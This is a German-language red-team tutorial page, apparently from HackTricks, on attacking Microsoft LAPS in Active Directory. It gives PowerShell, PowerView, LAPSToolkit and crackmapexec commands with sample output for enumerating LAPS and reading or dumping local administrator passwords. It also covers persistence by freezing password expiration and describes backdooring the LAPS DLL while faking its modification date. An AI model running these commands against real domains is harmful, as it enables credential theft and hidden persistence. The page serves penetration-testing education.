LAPS

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Grundlegende Informationen

Local Administrator Password Solution (LAPS) ist ein Tool zur Verwaltung eines Systems, bei dem Administratorpasswörter, die eindeutig, zufällig und häufig geändert sind, auf domänenbeigetretenen Computern angewendet werden. Diese Passwörter werden sicher in Active Directory gespeichert und sind nur für Benutzer zugänglich, denen über Zugriffssteuerungslisten (ACLs) Berechtigungen erteilt wurden. Die Sicherheit der Passwortübertragungen vom Client zum Server wird durch die Verwendung von Kerberos Version 5 und Advanced Encryption Standard (AES) sichergestellt.

Bei der Implementierung von LAPS in den Computerobjekten der Domäne werden zwei neue Attribute hinzugefügt: ms-mcs-AdmPwd und ms-mcs-AdmPwdExpirationTime. Diese Attribute speichern das Klartext-Administratorpasswort und dessen Ablaufzeit.

Überprüfen Sie, ob aktiviert

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS Passwortzugriff

Sie könnten die rohe LAPS-Richtlinie von \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol herunterladen und dann Parse-PolFile aus dem GPRegistryPolicyParser Paket verwenden, um diese Datei in ein menschenlesbares Format zu konvertieren.

Darüber hinaus können die nativen LAPS PowerShell-Cmdlets verwendet werden, wenn sie auf einer Maschine installiert sind, auf die wir Zugriff haben:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView kann auch verwendet werden, um herauszufinden, wer das Passwort lesen kann und es liest:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

Das LAPSToolkit erleichtert die Auflistung von LAPS mit mehreren Funktionen. Eine davon ist das Parsen von ExtendedRights für alle Computer mit aktiviertem LAPS. Dies zeigt Gruppen, die speziell dazu berechtigt sind, LAPS-Passwörter zu lesen, die oft Benutzer in geschützten Gruppen sind. Ein Konto, das einen Computer in eine Domäne aufgenommen hat, erhält Alle erweiterten Rechte über diesen Host, und dieses Recht gibt dem Konto die Möglichkeit, Passwörter zu lesen. Die Auflistung kann ein Benutzerkonto zeigen, das das LAPS-Passwort auf einem Host lesen kann. Dies kann uns helfen, spezifische AD-Benutzer zu identifizieren, die LAPS-Passwörter lesen können.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumping LAPS-Passwörter mit Crackmapexec

Wenn kein Zugriff auf ein Powershell besteht, können Sie dieses Privileg remote über LDAP missbrauchen, indem Sie

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

LAPS Persistenz

Ablaufdatum

Sobald Administrator, ist es möglich, die Passwörter zu erhalten und zu verhindern, dass eine Maschine ihr Passwort aktualisiert, indem man das Ablaufdatum in die Zukunft setzt.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

Das Passwort wird trotzdem zurückgesetzt, wenn ein Admin das Reset-AdmPwdPassword-Cmdlet verwendet; oder wenn Das Zulassen einer Passwortablaufzeit, die länger als vom Richtlinie erforderlich, nicht zulässt im LAPS-GPO aktiviert ist.

Hintertür

Der originale Quellcode für LAPS kann hier gefunden werden, daher ist es möglich, eine Hintertür im Code zu platzieren (innerhalb der Get-AdmPwdPassword-Methode in Main/AdmPwd.PS/Main.cs zum Beispiel), die irgendwie neue Passwörter exfiltriert oder irgendwo speichert.

Dann einfach die neue AdmPwd.PS.dll kompilieren und auf die Maschine unter C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll hochladen (und das Änderungsdatum ändern).

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated